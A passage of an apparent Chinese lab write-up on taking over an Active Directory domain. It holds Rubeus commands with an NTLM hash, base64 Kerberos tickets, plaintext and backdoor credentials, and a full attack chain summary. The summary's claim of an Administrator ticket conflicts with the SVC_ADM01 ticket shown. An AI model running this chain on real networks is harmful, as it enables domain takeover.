[X] S4U2Self failed, unable to perform S4U2Proxy.| 参数 | 值 | 含义 |
|---|---|---|
s4u | – | 执行 S4U2Self + S4U2Proxy 攻击 |
/user | EVILCOMPUTER$ | 你控制的计算机账户（攻击源） |
/rc4 | 3A37C6AC3AFBEEF7A8EB36A4481BDED4 | EVILCOMPUTER$ 的 NTLM 哈希 |
/domain | aoseluauto.com | 目标域 |
/msdsspn | CIFS/ASLSRVAD05 | 目标服务（域控的文件共享服务） |
/impersonateuser | Administrator | 要模拟的用户（域管理员） |
/nowrap | – | 输出格式（不换行，便于复制） |
使用Rubeus请求票据的时候出现了报错：[X] KRB-ERROR (18):KDC_ERR_CLIENT_REVOKED，表示当前模拟的用户Administrator被禁用掉了。
找其他域管理员
修改为SVC_ADM01用户后，成功获取到票据：
C:\Users\Public>Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:3A37C6AC3AFBEEF7A8EB36A4481BDED4 /domain:aoseluauto.com /msdsspn:cifs/ASLSRVAD05 /impersonateuser:SVC_ADM01 /nowrap /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: S4U
[*] Using rc4_hmac hash: 3A37C6AC3AFBEEF7A8EB36A4481BDED4
[*] Building AS-REQ (w/ preauth) for: 'aoseluauto.com\EVILCOMPUTER$'
[*] Using domain controller: 172.16.34.5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFyDCCBcSgAwIBBaEDAgEWooIE0jCCBM5hggTKMIIExqADAgEFoRAbDkFPU0VMVUFVVE8uQ09NoiMwIaADAgECoRowGBsGa3JidGd0Gw5hb3NlbHVhdXRvLmNvbaOCBIYwggSCoAMCARKhAwIBAqKCBHQEggRwAayo9khXFTnquu4bzwPCFpAcpajQlDn1wsM1KmdBIkYvQJiJFijq7pXEKXH1Ny/p134rHc2r/gR1xMv3B/hjc6BslAz5plftb1aBdos4AGejVBpr1WidpoqSD2c634pAQDtCL4RxzDtRQjb1ZCGjN310f4vGpoiwPb8Lm5kh0Vl1quPaJC7wlaRaq9GQQE8CDwTKpGrtC9K8RsOvaRSx2eKc9+njoykpjqxpd+V7dSYB4UyscA562ptzGKqXhayxzakbjWa7kNp0pA68PUwfDWOGKdyCxtIsNWRLiRVpE6WOsgbOUVBax2lOxf612jCyHE1MOJX50QV6S+seuNJHa5WY3A4Ndjl+DiKCX4lYO/4nzTBnajeOxRzu2Pke4g17OC5t+f1AuG+hTihvGzA9mJjoUjeFC/EnEQjo3443/A9LSM3rGEGtEb1vpQd6tGR2ujCz+WWmCUXLOC9BvC8bA4Ax8MW/zqHO5/QZmGu7jEdR/VJHBuwQGX81nnFvp35F8ESwMlCX6H2PufBQS30sesVKOhWBvqIUbZpSxGmuRVFiGsriLXbK88piuwJoNicPnJ6dvrncl1/ccT8o6l/h29Svns0UZSeqnhXgXSP8qrruf/xoP2KmtylxVwGqMDHmiSs41m1rPui3bxqSmMUiykD4HhkfOO7ZCwNYcKPKRB59rrwAkapymuj60UX+2sDH/79lDTANgVpZ7rrICDBcZgHit9/4W0866xuNTi9z7aOAElNimB4kX6bjrgB3cZD4p6nB3dPp9yqgipG25si/CE0FX7MBu4xE7tdNSb+4bW2UdkCoVKTOK7n78QM54laJIzdd+qG2+ZxiWpnighW0fH/JX0813q9YP3hqdjd9enJH/bN7IPNhd/xuwNZVC3cvVFtOjVKbJuKuM3QpPejXAC6df0Vgrp1vaG+0nDQKC6JOJm4JNcBmTVKwABZD2aLQSDWURH7nJR31HpOxid3mRghCNgIDnN3M8QZCXL4zcfgV/c+3FEY/shRhfSv0IlGXM0ZiZW80v+xnTtmOH1ZnM036W9y/w13P6lL1lupIFf2yaSEJUmE1Pt50LLiqBjwur/kT2q2Yi8T7ZB0no1KrwLpcb5o9YOQXl60UIIuYC/DXF0iUTWLe6hsLcliQPPvb2WN8swjK39/+AWT9+D4UCL0tNJ0qoGizEx22Yp/7q5LHgcqsHaQkR1BSs0mujp7BrRwLSZUqS2MzBh3EY2AyUSMT/7N8OGZcHxINnHEdoOUNzwySelc/eaYkCLqh404hgGJAXmV8P/gKa94wxKgygiQBQ4jVkWM+R367ytMz9MvXzBiFMyak4aCK1We5bUK6F1mmdx4ss+gK3Feh2n1vl7O+J1wqWstCrjWNtSNzo/zHFMpwHGG6xjGPZOlSaRjn8nJBsXollkhbpEW1ookcdb7VgsVsDu7ER4vWkCpX8lpGr2pU+JroW3oFZQExi8RcbJJqzLXUn9JguAVZXhynJNbjDIeTJ3W82y+eDMt3rUWjgeEwgd6gAwIBAKKB1gSB032B0DCBzaCByjCBxzCBxKAbMBmgAwIBF6ESBBDLkm/UHy7nujYdww+7cCAToRAbDkFPU0VMVUFVVE8uQ09NohowGKADAgEBoREwDxsNRVZJTENPTVBVVEVSJKMHAwUAQOEAAKURGA8yMDI2MDYxMjAzMzkwN1qmERgPMjAyNjA2MTIxMzM5MDdapxEYDzIwMjYwNjE5MDMzOTA3WqgQGw5BT1NFTFVBVVRPLkNPTakjMCGgAwIBAqEaMBgbBmtyYnRndBsOYW9zZWx1YXV0by5jb20=
[*] Action: S4U
[*] Building S4U2self request for: 'EVILCOMPUTER$@AOSELUAUTO.COM'
[*] Using domain controller: ASLSRVAD05.aoseluauto.com (172.16.34.5)
[*] Sending S4U2self request to 172.16.34.5:88
[+] S4U2self success!
[*] Got a TGS for 'SVC_ADM01' to 'EVILCOMPUTER$@AOSELUAUTO.COM'
[*] base64(ticket.kirbi):
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
[*] Impersonating user 'SVC_ADM01' to target SPN 'cifs/ASLSRVAD05'
[*] Building S4U2proxy request for service: 'cifs/ASLSRVAD05'
[*] Using domain controller: ASLSRVAD05.aoseluauto.com (172.16.34.5)
[*] Sending S4U2proxy request to domain controller 172.16.34.5:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/ASLSRVAD05':
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
[+] Ticket successfully imported!票据已经成功导入，klist 也确认了 SVC_ADM01 对 cifs/ASLSRVAD05 的服务票据存在。
C:\Users\Public>.\Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
Action: List Kerberos Tickets (Current User)
[*] Current LUID : 0x4c4486
UserName : hacker
Domain : ASLSRVFS02
LogonId : 0x4c4486
UserSID : S-1-5-21-3738990733-2195238930-2414615058-1000
AuthenticationPackage : NTLM
LogonType : RemoteInteractive
LogonTime : 6/11/2026 8:15:37 PM
LogonServer : ASLSRVFS02
LogonServerDNSDomain :
UserPrincipalName :
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 6/11/2026 8:39:07 PM ; 6/12/2026 6:39:07 AM ; 6/18/2026 8:39:07 PM
Server Name : cifs/ASLSRVAD05 @ AOSELUAUTO.COM
Client Name : SVC_ADM01 @ AOSELUAUTO.COM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)拿下域控的链路总结
1. 用 svc_monadm01 的 WriteDacl 权限
↓
2. 创建计算机账户 EVILCOMPUTER$
↓
3. 配置域控允许 EVILCOMPUTER$ 委派
↓
4. 用 Rubeus 模拟 SVC_ADM01（域管） 用户
↓
5. 获取 SVC_ADM01 对 CIFS/ASLSRVAD05 的服务票据
↓
6. 成功访问域控 C$ 共享拿到flag整个靶场的链路总结
初始打点
│
├── 发现 Windows 自动登录配置
│ ↓
└── 获取明文凭据 EthanMorris / DROCV4?LtyCp
↓
密码喷洒 (Password Spraying)
↓
┌─────────┼─────────┬─────────────┐
↓ ↓ ↓ ↓
域控(34.5) 文件服务器(34.23) 工作站(36.21)
↓
文件服务器(34.23) 获得立足点
↓
本地权限提升 (从 SAM dump)
↓
获取本地 Administrator 哈希
↓
Pass-the-Hash 登录文件服务器
↓
添加后门账户 hacker / P@ssw0rd123!
↓
RDP 登录文件服务器 → 获得图形化操作环境
↓
收集域信息
↓
BloodHound 分析
↓
发现 svc_monadm01 拥有 WriteDacl 权限
↓
利用 svc_monadm01 哈希进行 ACL 滥用
↓
RBCD (基于资源的约束委派) 攻击
├── 创建计算机账户 EVILCOMPUTER$
├── 配置委派 (EVILCOMPUTER$ → 域控)
└── Rubeus S4U2Self + S4U2Proxy
↓
获取 Administrator 对 CIFS/ASLSRVAD05 的服务票据
↓
导入票据
↓
访问域控 C$ 共享
↓
读取 Flag总结
从这个靶场中，我掌握了从入口机突破到域控的完整攻击链路。核心收获有三点：一是建立了“配置即漏洞”的审计思维，理解了注册表、ACL等系统配置如何成为敏感信息泄露和权限滥用；二是熟练运用了工具链组合，将密码喷洒、哈希传递、BloodHound路径分析与RBCD委派攻击链流程化；三是深入理解了Kerberos协议在资源委派场景下的安全边界，并具备了对 KDC_ERR_CLIENT_REVOKED 这类复杂报错的解决方式